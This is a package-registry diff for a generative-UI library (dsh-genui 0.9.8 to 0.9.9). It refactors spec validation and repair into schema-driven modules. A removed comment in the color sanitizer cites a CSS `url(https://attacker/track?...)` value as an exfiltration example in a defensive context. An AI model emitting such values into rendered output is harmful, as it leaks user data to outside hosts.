@changfenhuang/dsh-genui 0.9.8 → 0.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +13 -0
- package/README.md +13 -8
- package/README.zh-CN.md +13 -8
- package/SKILL.md +5 -5
- package/lib/client.js +3 -3
- package/lib/index.js +1273 -338
- package/lib/types/client/blocks/advanced.d.ts +1 -1
- package/lib/types/client/blocks/checkbox.d.ts +17 -0
- package/lib/types/client/blocks/forms.d.ts +3 -8
- package/lib/types/client/blocks/state.d.ts +18 -14
- package/lib/types/client/dom-fence.d.ts +1 -1
- package/lib/types/client/genui-runtime/diagnostics.d.ts +18 -0
- package/lib/types/client/genui-runtime/index.d.ts +1 -0
- package/lib/types/client/genui-runtime/limits.d.ts +54 -0
- package/lib/types/client/genui-runtime/normalize.d.ts +15 -0
- package/lib/types/client/genui-runtime/schema.d.ts +73 -0
- package/lib/types/client/genui-runtime/value-utils.d.ts +18 -0
- package/lib/types/client/guard.d.ts +60 -71
- package/lib/types/client/interaction-store.d.ts +7 -2
- package/lib/types/client/panel-command.d.ts +1 -1
- package/lib/types/client/primitive-labels.d.ts +11 -0
- package/lib/types/client/spec.d.ts +17 -17
- package/lib/types/plugin/chart-contract.d.ts +6 -4
- package/lib/types/plugin/index.d.ts +1 -4
- package/package.json +74 -13
- package/src/client/GenuiBlock.tsx +27 -11
- package/src/client/blocks/advanced.tsx +6 -5
- package/src/client/blocks/charts.tsx +1 -1
- package/src/client/blocks/checkbox.tsx +60 -0
- package/src/client/blocks/diagram/index.tsx +1 -1
- package/src/client/blocks/forms.tsx +51 -28
- package/src/client/blocks/render-node.tsx +3 -16
- package/src/client/blocks/state.ts +18 -14
- package/src/client/dom-fence.tsx +2 -1
- package/src/client/fence-render.tsx +26 -15
- package/src/client/genui-runtime/diagnostics.ts +143 -0
- package/src/client/genui-runtime/index.ts +1 -0
- package/src/client/genui-runtime/limits.ts +54 -0
- package/src/client/genui-runtime/normalize.ts +115 -0
- package/src/client/genui-runtime/schema.ts +291 -0
- package/src/client/genui-runtime/value-utils.ts +67 -0
- package/src/client/guard.ts +314 -169
- package/src/client/index.tsx +3 -2
- package/src/client/interaction-store.ts +7 -2
- package/src/client/panel-command.ts +2 -1
- package/src/client/panel.tsx +1 -1
- package/src/client/primitive-labels.ts +37 -0
- package/src/client/spec.ts +17 -17
- package/src/client/toolview.tsx +2 -1
- package/src/index.ts +3 -6
- package/src/plugin/chart-contract.ts +7 -97
- package/src/plugin/index.ts +2 -6
- package/src/plugin/tool.ts +60 -40
package/src/client/guard.ts
CHANGED
|
@@ -20,68 +20,18 @@
|
|
|
20
20
|
*/
|
|
21
21
|
import type { GenuiFileTreeNode, GenuiList, GenuiNode, GenuiPlot, GenuiPlotSeries, GenuiScene3D, GenuiSpec, GenuiDiagram, GenuiDiagramTheme, GenuiDiagramKind } from './spec.ts'
|
|
22
22
|
import { wrapSingleComponentRoot } from './spec.ts'
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
maxMermaid: 8000,
|
|
36
|
-
/** Maximum `grid` columns. */
|
|
37
|
-
maxGridCols: 12,
|
|
38
|
-
/** Maximum `tabs` count. */
|
|
39
|
-
maxTabs: 12,
|
|
40
|
-
/** Maximum `accordion` items. */
|
|
41
|
-
maxAccordionItems: 24,
|
|
42
|
-
/** Maximum `list` items. */
|
|
43
|
-
maxListItems: 50,
|
|
44
|
-
/** Maximum `select`/`radio` options. */
|
|
45
|
-
maxOptions: 50,
|
|
46
|
-
/** Maximum `table` rows / columns. */
|
|
47
|
-
maxTableRows: 50,
|
|
48
|
-
maxTableCols: 12,
|
|
49
|
-
/** Maximum `chart` data points per series. */
|
|
50
|
-
maxChartPoints: 60,
|
|
51
|
-
/** Maximum `plot` series and per-series parameters. */
|
|
52
|
-
maxPlotSeries: 8,
|
|
53
|
-
maxPlotParams: 6,
|
|
54
|
-
/** Maximum `scene3d` meshes. */
|
|
55
|
-
maxMeshes: 5,
|
|
56
|
-
/** Maximum `quiz` options. */
|
|
57
|
-
maxQuizOptions: 8,
|
|
58
|
-
/** Maximum `steps` / `timeline` / `breadcrumb` / `keyvalue` entries. */
|
|
59
|
-
maxSteps: 24,
|
|
60
|
-
maxTimelineItems: 24,
|
|
61
|
-
maxBreadcrumbItems: 12,
|
|
62
|
-
maxKeyValuePairs: 24,
|
|
63
|
-
/** Maximum `file-tree` nesting. */
|
|
64
|
-
maxTreeDepth: 6,
|
|
65
|
-
/** Maximum `diagram` nodes / edges / zones / focal accents (editorial
|
|
66
|
-
* complexity budget, mirroring diagram-design's §7 limits). */
|
|
67
|
-
maxDiagramNodes: 9,
|
|
68
|
-
maxDiagramEdges: 12,
|
|
69
|
-
maxDiagramZones: 3,
|
|
70
|
-
maxDiagramFocal: 2,
|
|
71
|
-
maxDiagramLabel: 14,
|
|
72
|
-
|
|
73
|
-
/** Maximum depth of an `echart` option object (prevents pathological nested
|
|
74
|
-
* ECharts configs from stalling the guard walk). */
|
|
75
|
-
maxEChartOptionDepth: 10,
|
|
76
|
-
/** Maximum length of any single array inside an `echart` option (prevents
|
|
77
|
-
* a model from stalling rendering with `series.data` of hundreds of
|
|
78
|
-
* thousands of points). */
|
|
79
|
-
maxEChartArrayLen: 500,
|
|
80
|
-
/** Maximum total entries (object keys + array elements) traversed while
|
|
81
|
-
* sanitizing an `echart` option. Bounds the walk so a pathologically
|
|
82
|
-
* large option object cannot stall the guard. */
|
|
83
|
-
maxEChartOptionNodes: 2000,
|
|
84
|
-
} as const
|
|
23
|
+
import {
|
|
24
|
+
BADGE_TONES, BUTTON_TONES, CALLOUT_TONES, CHART_KINDS, COMPONENT_SCHEMAS, DIAGRAM_EDGE_KINDS,
|
|
25
|
+
DIAGRAM_KINDS, DIAGRAM_NODE_TYPES, DIAGRAM_ROUTES, DIAGRAM_VARIANTS, ECHART_PRESETS, FILE_TYPES,
|
|
26
|
+
GENUI_NATIVE_TYPES, GENUI_SPEC_SCHEMA, INPUT_TYPES, MEDIA_ASPECT_RATIOS, MESH_SHAPES, PLOT_KINDS,
|
|
27
|
+
TEXT_SIZES,
|
|
28
|
+
} from './genui-runtime/schema.ts'
|
|
29
|
+
import type { ComponentFieldKind, ComponentRecordSchema, ComponentSchema } from './genui-runtime/schema.ts'
|
|
30
|
+
import { normalizeGenuiSpec } from './genui-runtime/normalize.ts'
|
|
31
|
+
import { diagnoseUnknownGenuiFields } from './genui-runtime/diagnostics.ts'
|
|
32
|
+
import type { GenuiDiagnostic } from './genui-runtime/diagnostics.ts'
|
|
33
|
+
import { GENUI_LIMITS } from './genui-runtime/limits.ts'
|
|
34
|
+
import { color, enu, int, num, obj, opt, safeHref, safeMediaSrc, str } from './genui-runtime/value-utils.ts'
|
|
85
35
|
|
|
86
36
|
/** Result of `validateGenuiSpec`. */
|
|
87
37
|
export interface GenuiValidation {
|
|
@@ -90,111 +40,155 @@ export interface GenuiValidation {
|
|
|
90
40
|
errors: string[]
|
|
91
41
|
}
|
|
92
42
|
|
|
93
|
-
/* ----------------
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
* Color field: the value lands in an inline `style` (background/stroke) or
|
|
107
|
-
* THREE.Color. Arbitrary CSS values are an exfiltration channel — a model
|
|
108
|
-
* (or a hostile spec) could emit `url(https://attacker/track?...)` and the
|
|
109
|
-
* browser would fetch it. Only formats that name a color pass: hex, rgb/hsl
|
|
110
|
-
* functions, and host design tokens (`var(--dsw-*)`). Anything else degrades
|
|
111
|
-
* to the component's default palette.
|
|
112
|
-
*/
|
|
113
|
-
const SAFE_COLOR_RE = /^(?:#[\da-fA-F]{3,8}|rgba?\([^)]{0,64}\)|hsla?\([^)]{0,64}\)|var\(--dsw-[\w-]+(?:,\s*#[0-9a-fA-F]{3,8})?\))$/
|
|
114
|
-
|
|
115
|
-
function color(v: unknown): string | undefined {
|
|
116
|
-
if (typeof v !== 'string') return undefined
|
|
117
|
-
const s = v.trim()
|
|
118
|
-
return s.length <= 64 && SAFE_COLOR_RE.test(s) ? s : undefined
|
|
119
|
-
}
|
|
120
|
-
|
|
121
|
-
/**
|
|
122
|
-
* Link target field: only http(s) and mailto survive. `javascript:`/`data:`
|
|
123
|
-
* and every other scheme degrade to a plain-text node — the model's link is
|
|
124
|
-
* display, not an execution channel.
|
|
125
|
-
*/
|
|
126
|
-
function safeHref(v: unknown): string | undefined {
|
|
127
|
-
if (typeof v !== 'string') return undefined
|
|
128
|
-
const s = v.trim()
|
|
129
|
-
if (s.length > 2048) return undefined
|
|
130
|
-
return /^https?:\/\//i.test(s) || /^mailto:[^@\s]+@[^@\s]+$/i.test(s) ? s : undefined
|
|
43
|
+
/* ---------------- schema field helpers ---------------- */
|
|
44
|
+
|
|
45
|
+
function fieldKindMatches(value: unknown, kind: ComponentFieldKind): boolean {
|
|
46
|
+
switch (kind) {
|
|
47
|
+
case 'string': return typeof value === 'string'
|
|
48
|
+
case 'string-or-null': return value === null || typeof value === 'string'
|
|
49
|
+
case 'number': return typeof value === 'number' && Number.isFinite(value)
|
|
50
|
+
case 'boolean': return typeof value === 'boolean'
|
|
51
|
+
case 'nodes': return Array.isArray(value)
|
|
52
|
+
case 'array': return Array.isArray(value)
|
|
53
|
+
case 'object': return obj(value) !== undefined
|
|
54
|
+
case 'unknown': return true
|
|
55
|
+
}
|
|
131
56
|
}
|
|
132
57
|
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
58
|
+
function fieldKindLabel(kind: ComponentFieldKind): string {
|
|
59
|
+
switch (kind) {
|
|
60
|
+
case 'string-or-null': return 'a string or null'
|
|
61
|
+
case 'number': return 'a finite number'
|
|
62
|
+
case 'boolean': return 'a boolean'
|
|
63
|
+
case 'nodes': case 'array': return 'an array'
|
|
64
|
+
case 'object': return 'an object'
|
|
65
|
+
case 'unknown': return 'a value'
|
|
66
|
+
default: return 'a string'
|
|
67
|
+
}
|
|
143
68
|
}
|
|
144
69
|
|
|
145
|
-
/**
|
|
146
|
-
function
|
|
147
|
-
return
|
|
70
|
+
/** Detect an existing field diagnostic using both canonical and legacy messages. */
|
|
71
|
+
function hasFieldError(errors: readonly string[], at: string, field: string): boolean {
|
|
72
|
+
return errors.some(error =>
|
|
73
|
+
error.startsWith(`${at}.${field} `) || error.includes(`'${field}'`) || error.includes(`requires ${field}`))
|
|
148
74
|
}
|
|
149
75
|
|
|
150
|
-
/**
|
|
151
|
-
function
|
|
152
|
-
|
|
76
|
+
/** Validate present fields against the runtime schema without duplicating errors. */
|
|
77
|
+
function validateSchemaFieldKinds(
|
|
78
|
+
value: Record<string, unknown>,
|
|
79
|
+
at: string,
|
|
80
|
+
definition: ComponentSchema,
|
|
81
|
+
errors: string[],
|
|
82
|
+
excludedFields: readonly string[] = [],
|
|
83
|
+
): void {
|
|
84
|
+
for (const [field, kind] of Object.entries(definition.fields)) {
|
|
85
|
+
if (excludedFields.includes(field) || value[field] === undefined) continue
|
|
86
|
+
if (!fieldKindMatches(value[field], kind) && !hasFieldError(errors, at, field)) {
|
|
87
|
+
errors.push(`${at}.${field} must be ${fieldKindLabel(kind)}`)
|
|
88
|
+
}
|
|
89
|
+
}
|
|
90
|
+
for (const [field, values] of Object.entries(definition.enums)) {
|
|
91
|
+
if (excludedFields.includes(field) || value[field] === undefined || !fieldKindMatches(value[field], 'string')) continue
|
|
92
|
+
if (!values.includes(value[field] as string) && !hasFieldError(errors, at, field)) {
|
|
93
|
+
errors.push(`${at}.${field} must be one of ${values.join(', ')}`)
|
|
94
|
+
}
|
|
95
|
+
}
|
|
153
96
|
}
|
|
154
97
|
|
|
155
|
-
/**
|
|
156
|
-
function
|
|
157
|
-
|
|
98
|
+
/** Validate one schema-declared nested record and all records below it. */
|
|
99
|
+
function validateRecordSchema(
|
|
100
|
+
value: unknown,
|
|
101
|
+
at: string,
|
|
102
|
+
definition: ComponentRecordSchema,
|
|
103
|
+
errors: string[],
|
|
104
|
+
): void {
|
|
105
|
+
const holder = obj(value)
|
|
106
|
+
if (holder === undefined) {
|
|
107
|
+
errors.push(`${at} must be an object`)
|
|
108
|
+
return
|
|
109
|
+
}
|
|
110
|
+
for (const field of definition.required) {
|
|
111
|
+
const kind = definition.fields[field]
|
|
112
|
+
if (holder[field] === undefined) {
|
|
113
|
+
if (!hasFieldError(errors, at, field)) errors.push(`${at}: requires ${field}${kind === undefined ? '' : ` (${fieldKindLabel(kind)})`}`)
|
|
114
|
+
} else if (kind !== undefined && !fieldKindMatches(holder[field], kind)) {
|
|
115
|
+
if (!hasFieldError(errors, at, field)) errors.push(`${at}.${field} must be ${fieldKindLabel(kind)}`)
|
|
116
|
+
}
|
|
117
|
+
}
|
|
118
|
+
for (const [field, kind] of Object.entries(definition.fields)) {
|
|
119
|
+
if (holder[field] !== undefined && !fieldKindMatches(holder[field], kind)) {
|
|
120
|
+
if (!hasFieldError(errors, at, field)) errors.push(`${at}.${field} must be ${fieldKindLabel(kind)}`)
|
|
121
|
+
}
|
|
122
|
+
}
|
|
123
|
+
for (const [field, values] of Object.entries(definition.enums)) {
|
|
124
|
+
if (holder[field] !== undefined && typeof holder[field] === 'string' && !values.includes(holder[field])) {
|
|
125
|
+
if (!hasFieldError(errors, at, field)) errors.push(`${at}.${field} must be one of ${values.join(', ')}`)
|
|
126
|
+
}
|
|
127
|
+
}
|
|
128
|
+
for (const [field, nested] of Object.entries(definition.nested)) {
|
|
129
|
+
const nestedValue = holder[field]
|
|
130
|
+
if (nestedValue === undefined) continue
|
|
131
|
+
if (Array.isArray(nestedValue)) {
|
|
132
|
+
nestedValue.forEach((item, index) => validateRecordSchema(item, `${at}.${field}[${index}]`, nested, errors))
|
|
133
|
+
} else {
|
|
134
|
+
validateRecordSchema(nestedValue, `${at}.${field}`, nested, errors)
|
|
135
|
+
}
|
|
136
|
+
}
|
|
158
137
|
}
|
|
159
138
|
|
|
160
|
-
/**
|
|
161
|
-
function
|
|
162
|
-
|
|
139
|
+
/** Validate registry-declared nested records before repair can discard them. */
|
|
140
|
+
function validateNestedRecordSchemas(
|
|
141
|
+
value: Record<string, unknown>,
|
|
142
|
+
at: string,
|
|
143
|
+
definition: ComponentSchema,
|
|
144
|
+
errors: string[],
|
|
145
|
+
): void {
|
|
146
|
+
for (const [field, nested] of Object.entries(definition.nested)) {
|
|
147
|
+
const nestedValue = value[field]
|
|
148
|
+
if (nestedValue === undefined) continue
|
|
149
|
+
if (Array.isArray(nestedValue)) {
|
|
150
|
+
nestedValue.forEach((item, index) => validateRecordSchema(item, `${at}.${field}[${index}]`, nested, errors))
|
|
151
|
+
} else {
|
|
152
|
+
validateRecordSchema(nestedValue, `${at}.${field}`, nested, errors)
|
|
153
|
+
}
|
|
154
|
+
}
|
|
163
155
|
}
|
|
164
156
|
|
|
165
|
-
/**
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
157
|
+
/** Validate the registry-declared presence and primitive shape of a native node. */
|
|
158
|
+
function validateRegistryFields(
|
|
159
|
+
value: Record<string, unknown>,
|
|
160
|
+
at: string,
|
|
161
|
+
definition: ComponentSchema,
|
|
162
|
+
errors: string[],
|
|
163
|
+
): void {
|
|
164
|
+
const type = String(value.type)
|
|
165
|
+
const alreadyReported = (field: string): boolean => hasFieldError(errors, at, field)
|
|
166
|
+
for (const field of definition.required) {
|
|
167
|
+
const kind = definition.fields[field]
|
|
168
|
+
if (kind === undefined || value[field] === undefined) {
|
|
169
|
+
if (!alreadyReported(field)) errors.push(`${at}: type '${type}' requires ${field}${kind === undefined ? '' : ` (${fieldKindLabel(kind)})`}`)
|
|
170
|
+
continue
|
|
171
|
+
}
|
|
172
|
+
if (!fieldKindMatches(value[field], kind) && !alreadyReported(field)) errors.push(`${at}.${field} must be ${fieldKindLabel(kind)}`)
|
|
173
|
+
}
|
|
174
|
+
validateSchemaFieldKinds(value, at, definition, errors, ['type'])
|
|
175
|
+
for (const group of definition.oneOfRequired) {
|
|
176
|
+
if (!group.some(field => value[field] !== undefined)
|
|
177
|
+
&& !errors.some(error => error.includes(`requires ${group.join(' or ')}`))) {
|
|
178
|
+
errors.push(`${at}: type '${type}' requires one of ${group.join(' or ')}`)
|
|
179
|
+
}
|
|
180
|
+
}
|
|
181
|
+
for (const rule of definition.conditionalRequired) {
|
|
182
|
+
if (value[rule.when.field] !== rule.when.equals) continue
|
|
183
|
+
for (const field of rule.required) {
|
|
184
|
+
if (value[field] === undefined && !alreadyReported(field)) {
|
|
185
|
+
errors.push(`${at}: type '${type}' requires ${field}${rule.message === undefined ? '' : ` (${rule.message})`}`)
|
|
186
|
+
}
|
|
187
|
+
}
|
|
188
|
+
}
|
|
189
|
+
validateNestedRecordSchemas(value, at, definition, errors)
|
|
173
190
|
}
|
|
174
191
|
|
|
175
|
-
const TEXT_SIZES = ['h1', 'h2', 'h3', 'body', 'muted', 'caption'] as const
|
|
176
|
-
const BUTTON_TONES = ['primary', 'danger', 'success', 'ghost'] as const
|
|
177
|
-
const BADGE_TONES = ['success', 'warn', 'danger', 'accent'] as const
|
|
178
|
-
const INPUT_TYPES = ['text', 'email', 'password'] as const
|
|
179
|
-
const CALLOUT_TONES = ['info', 'success', 'warning', 'error'] as const
|
|
180
|
-
const CHART_KINDS = ['bars', 'line', 'donut'] as const
|
|
181
|
-
const PLOT_KINDS = ['line', 'area', 'scatter'] as const
|
|
182
|
-
const MEDIA_ASPECT_RATIOS = ['16:9', '4:3', '1:1', '9:16'] as const
|
|
183
|
-
const MESH_SHAPES = ['box', 'sphere', 'cone', 'cylinder', 'torus'] as const
|
|
184
|
-
const FILE_TYPES = ['file', 'dir'] as const
|
|
185
|
-
const DIAGRAM_KINDS: readonly string[] = [
|
|
186
|
-
'architecture', 'it-state', 'flowchart', 'sequence', 'state', 'er', 'timeline',
|
|
187
|
-
'swimlane', 'quadrant', 'radar', 'loop', 'nested', 'tree', 'org-chart', 'layers',
|
|
188
|
-
'venn', 'pyramid', 'bar', 'line', 'gantt', 'scatter', 'high-level', 'process',
|
|
189
|
-
'medallion', 'data-flow', 'dp-integration', 'dp-security-matrix',
|
|
190
|
-
]
|
|
191
|
-
const DIAGRAM_NODE_TYPES = ['focal', 'backend', 'store', 'external', 'input', 'optional', 'security'] as const
|
|
192
|
-
const DIAGRAM_VARIANTS = ['light', 'dark', 'editorial'] as const
|
|
193
|
-
const DIAGRAM_EDGE_KINDS = ['solid', 'dashed', 'accent', 'link'] as const
|
|
194
|
-
const DIAGRAM_ROUTES = ['auto', 'orthogonal', 'straight'] as const
|
|
195
|
-
|
|
196
|
-
const ECHART_PRESETS = ['bar', 'line', 'area', 'pie', 'scatter'] as const
|
|
197
|
-
|
|
198
192
|
/* ---------------- repair ---------------- */
|
|
199
193
|
|
|
200
194
|
interface RepairCtx {
|
|
@@ -276,7 +270,12 @@ function repairNode(value: unknown, ctx: RepairCtx, depth: number): GenuiNode |
|
|
|
276
270
|
case 'checkbox': {
|
|
277
271
|
const label = str(v.label, GENUI_LIMITS.maxString)
|
|
278
272
|
if (label === undefined) return null
|
|
279
|
-
return {
|
|
273
|
+
return {
|
|
274
|
+
type: 'checkbox', label,
|
|
275
|
+
...opt('checked', v.checked === true ? true : undefined),
|
|
276
|
+
...opt('action', str(v.action, 200)),
|
|
277
|
+
...opt('group', str(v.group, 200)),
|
|
278
|
+
}
|
|
280
279
|
}
|
|
281
280
|
case 'link': {
|
|
282
281
|
const label = str(v.label, GENUI_LIMITS.maxString)
|
|
@@ -1110,13 +1109,13 @@ function sanitizeEChartOption(v: unknown, depth: number, budget: EChartSanitizeB
|
|
|
1110
1109
|
* dropping/clamping/truncating. Idempotent: repairing a repaired spec is a
|
|
1111
1110
|
* no-op.
|
|
1112
1111
|
*/
|
|
1113
|
-
|
|
1112
|
+
function repairCanonicalGenuiSpec(value: unknown): GenuiSpec | null {
|
|
1114
1113
|
const v = obj(value)
|
|
1115
1114
|
if (v === undefined) return null
|
|
1116
1115
|
if (!Array.isArray(v.items)) {
|
|
1117
1116
|
const wrapped = wrapSingleComponentRoot(value)
|
|
1118
1117
|
if (wrapped === null) return null
|
|
1119
|
-
return
|
|
1118
|
+
return repairCanonicalGenuiSpec(wrapped)
|
|
1120
1119
|
}
|
|
1121
1120
|
const ctx: RepairCtx = { remaining: GENUI_LIMITS.maxNodes }
|
|
1122
1121
|
return {
|
|
@@ -1128,6 +1127,20 @@ export function repairGenuiSpec(value: unknown): GenuiSpec | null {
|
|
|
1128
1127
|
}
|
|
1129
1128
|
}
|
|
1130
1129
|
|
|
1130
|
+
/**
|
|
1131
|
+
* Deterministically repair a raw spec into a renderable GenuiSpec.
|
|
1132
|
+
*
|
|
1133
|
+
* Alias normalization is performed before the existing resource, type, and
|
|
1134
|
+
* security repair rules. The result remains idempotent and keeps the legacy
|
|
1135
|
+
* public API used by the fence renderer and client components.
|
|
1136
|
+
*
|
|
1137
|
+
* @param value - Raw GenUI spec or bare component.
|
|
1138
|
+
* @returns Repaired canonical spec, or null for an invalid root.
|
|
1139
|
+
*/
|
|
1140
|
+
export function repairGenuiSpec(value: unknown): GenuiSpec | null {
|
|
1141
|
+
return repairCanonicalGenuiSpec(normalizeGenuiSpec(value).value)
|
|
1142
|
+
}
|
|
1143
|
+
|
|
1131
1144
|
/* ---------------- validation ---------------- */
|
|
1132
1145
|
|
|
1133
1146
|
/**
|
|
@@ -1164,8 +1177,8 @@ export function countGenuiNodes(value: unknown, cap = Number.POSITIVE_INFINITY):
|
|
|
1164
1177
|
// Layout containers hold real children; skipping them undercounted
|
|
1165
1178
|
// the tree and hid silent drops from validate_dsh_ui (issue #42).
|
|
1166
1179
|
walk(v.items)
|
|
1167
|
-
} else if (v.type === 'file-tree'
|
|
1168
|
-
|
|
1180
|
+
} else if (v.type === 'file-tree') {
|
|
1181
|
+
// file-tree.items are data records, not GenUI children.
|
|
1169
1182
|
} else if (v.type === 'list' && Array.isArray(v.items)) {
|
|
1170
1183
|
// Typed list children are nodes too (repair charges them against the
|
|
1171
1184
|
// budget); strings and {title,desc} shapes are skipped.
|
|
@@ -1185,13 +1198,7 @@ export function countGenuiNodes(value: unknown, cap = Number.POSITIVE_INFINITY):
|
|
|
1185
1198
|
/** Every white-listed node `type`. Keep in sync with the repairNode switch —
|
|
1186
1199
|
* validate_dsh_ui uses it to tell declared GenUI nodes apart from unrelated
|
|
1187
1200
|
* `"type"` strings (e.g. file-tree's `{type:'file'}` children). */
|
|
1188
|
-
export const GENUI_NODE_TYPES: ReadonlySet<string> =
|
|
1189
|
-
'accordion', 'audio', 'avatar', 'badge', 'breadcrumb', 'button', 'callout', 'card', 'chart',
|
|
1190
|
-
'checkbox', 'code', 'col', 'copy', 'diff', 'divider', 'file-tree', 'grid', 'image', 'input', 'json',
|
|
1191
|
-
'keyvalue', 'link', 'list', 'mermaid', 'plot', 'progress', 'quiz', 'radio', 'row', 'scene3d',
|
|
1192
|
-
'select', 'slider', 'spacer', 'stat', 'steps', 'submit', 'switch', 'table', 'tabs', 'text',
|
|
1193
|
-
'textarea', 'timeline', 'video', 'echart', 'diagram',
|
|
1194
|
-
])
|
|
1201
|
+
export const GENUI_NODE_TYPES: ReadonlySet<string> = GENUI_NATIVE_TYPES
|
|
1195
1202
|
|
|
1196
1203
|
/**
|
|
1197
1204
|
* Visit and count declared nodes in a raw spec tree: objects whose `type` is a
|
|
@@ -1263,6 +1270,11 @@ export function countDeclaredGenuiNodes(value: unknown, cap = Number.POSITIVE_IN
|
|
|
1263
1270
|
return visitDeclaredGenuiNodes(value, cap, () => {})
|
|
1264
1271
|
}
|
|
1265
1272
|
|
|
1273
|
+
/** Count native nodes that survived repair, excluding opaque custom nodes. */
|
|
1274
|
+
export function countRenderedNativeGenuiNodes(value: unknown, cap = Number.POSITIVE_INFINITY): number {
|
|
1275
|
+
return countDeclaredGenuiNodes(value, cap)
|
|
1276
|
+
}
|
|
1277
|
+
|
|
1266
1278
|
/**
|
|
1267
1279
|
* Return field-level chart errors without changing other repairable component families.
|
|
1268
1280
|
* @param value - raw GenUI spec.
|
|
@@ -1284,7 +1296,7 @@ export function validateGenuiChartSemantics(value: unknown): string[] {
|
|
|
1284
1296
|
* custom type is valid only when a renderer is registered — the guard cannot
|
|
1285
1297
|
* know, so it flags them as warnings).
|
|
1286
1298
|
*/
|
|
1287
|
-
|
|
1299
|
+
function validateCanonicalGenuiSpec(value: unknown): GenuiValidation {
|
|
1288
1300
|
const errors: string[] = []
|
|
1289
1301
|
const v = obj(value)
|
|
1290
1302
|
if (v === undefined) return { ok: false, errors: ['spec root must be an object'] }
|
|
@@ -1292,11 +1304,10 @@ export function validateGenuiSpec(value: unknown): GenuiValidation {
|
|
|
1292
1304
|
// Single-component root: validate through the wrapped form so the tool
|
|
1293
1305
|
// agrees with the renderer about what is a valid fence body.
|
|
1294
1306
|
const wrapped = wrapSingleComponentRoot(value)
|
|
1295
|
-
if (wrapped !== null) return
|
|
1307
|
+
if (wrapped !== null) return validateCanonicalGenuiSpec(wrapped)
|
|
1296
1308
|
return { ok: false, errors: ['spec.items must be an array'] }
|
|
1297
1309
|
}
|
|
1298
|
-
|
|
1299
|
-
if (v.gap !== undefined && (typeof v.gap !== 'number' || !Number.isFinite(v.gap))) errors.push('spec.gap must be a finite number')
|
|
1310
|
+
validateSchemaFieldKinds(v, 'spec', GENUI_SPEC_SCHEMA, errors, ['items'])
|
|
1300
1311
|
let count = 0
|
|
1301
1312
|
let capped = false
|
|
1302
1313
|
const walk = (list: unknown, depth: number, path: string): void => {
|
|
@@ -1322,6 +1333,101 @@ export function validateGenuiSpec(value: unknown): GenuiValidation {
|
|
|
1322
1333
|
return { ok: errors.length === 0, errors }
|
|
1323
1334
|
}
|
|
1324
1335
|
|
|
1336
|
+
/**
|
|
1337
|
+
* Validate a raw GenUI value after deterministic alias normalization.
|
|
1338
|
+
*
|
|
1339
|
+
* Validation therefore only sees canonical fields; repairable aliases do not
|
|
1340
|
+
* produce false required-field errors. Structural and semantic defects remain
|
|
1341
|
+
* errors, while native unknown fields are exposed by the warning diagnostics
|
|
1342
|
+
* returned from `processGenuiSpec`.
|
|
1343
|
+
*
|
|
1344
|
+
* @param value - Raw GenUI spec or bare component.
|
|
1345
|
+
* @returns Validation result with human-readable errors.
|
|
1346
|
+
*/
|
|
1347
|
+
export function validateGenuiSpec(value: unknown): GenuiValidation {
|
|
1348
|
+
return validateCanonicalGenuiSpec(normalizeGenuiSpec(value).value)
|
|
1349
|
+
}
|
|
1350
|
+
|
|
1351
|
+
export interface GenuiProcessResult {
|
|
1352
|
+
/** Canonical alias-normalized input value. */
|
|
1353
|
+
value: unknown
|
|
1354
|
+
/** Alias-normalized value, provided as an explicit descriptive alias. */
|
|
1355
|
+
normalized: unknown
|
|
1356
|
+
/** Canonical repaired value consumed by the renderer. */
|
|
1357
|
+
repaired: GenuiSpec | null
|
|
1358
|
+
/** Renderer-facing alias for `repaired`. */
|
|
1359
|
+
spec: GenuiSpec | null
|
|
1360
|
+
/** Structural and semantic validation errors. */
|
|
1361
|
+
errors: string[]
|
|
1362
|
+
/** Alias and native unknown-field warnings. */
|
|
1363
|
+
warnings: GenuiDiagnostic[]
|
|
1364
|
+
/** Native nodes declared in the canonical input, before repair drops. */
|
|
1365
|
+
declaredCount: number
|
|
1366
|
+
/** Nodes present in the repaired tree. */
|
|
1367
|
+
renderedCount: number
|
|
1368
|
+
/** Native nodes declared before repair, excluding custom payloads. */
|
|
1369
|
+
declaredNativeCount: number
|
|
1370
|
+
/** Native nodes present after repair, excluding custom and file-tree data. */
|
|
1371
|
+
renderedNativeCount: number
|
|
1372
|
+
/** All rendered component nodes, including opaque custom nodes. */
|
|
1373
|
+
renderedTotalCount: number
|
|
1374
|
+
}
|
|
1375
|
+
|
|
1376
|
+
/**
|
|
1377
|
+
* Run the shared canonical GenUI pipeline.
|
|
1378
|
+
*
|
|
1379
|
+
* The pipeline normalizes aliases, applies the existing deterministic repair
|
|
1380
|
+
* and security filters, validates the canonical input, and reports native
|
|
1381
|
+
* declarations that disappeared during repair. Custom nodes stay opaque and
|
|
1382
|
+
* do not participate in native unknown-field diagnostics.
|
|
1383
|
+
*
|
|
1384
|
+
* @param value - Raw GenUI spec or bare component.
|
|
1385
|
+
* @returns Canonical input, repaired output, diagnostics, and node counts.
|
|
1386
|
+
*/
|
|
1387
|
+
export function processGenuiSpec(value: unknown): GenuiProcessResult {
|
|
1388
|
+
const normalized = normalizeGenuiSpec(value)
|
|
1389
|
+
const repaired = repairCanonicalGenuiSpec(normalized.value)
|
|
1390
|
+
const validation = validateCanonicalGenuiSpec(normalized.value)
|
|
1391
|
+
const declaredNativeCount = countDeclaredGenuiNodes(normalized.value, GENUI_LIMITS.maxNodes + 1)
|
|
1392
|
+
const renderedNativeCount = repaired === null ? 0 : countRenderedNativeGenuiNodes(repaired)
|
|
1393
|
+
const renderedTotalCount = repaired === null ? 0 : countGenuiNodes(repaired)
|
|
1394
|
+
// The shared public validator preserves its historical diagnostic for an
|
|
1395
|
+
// unknown type. The processing pipeline is renderer-aware by contract:
|
|
1396
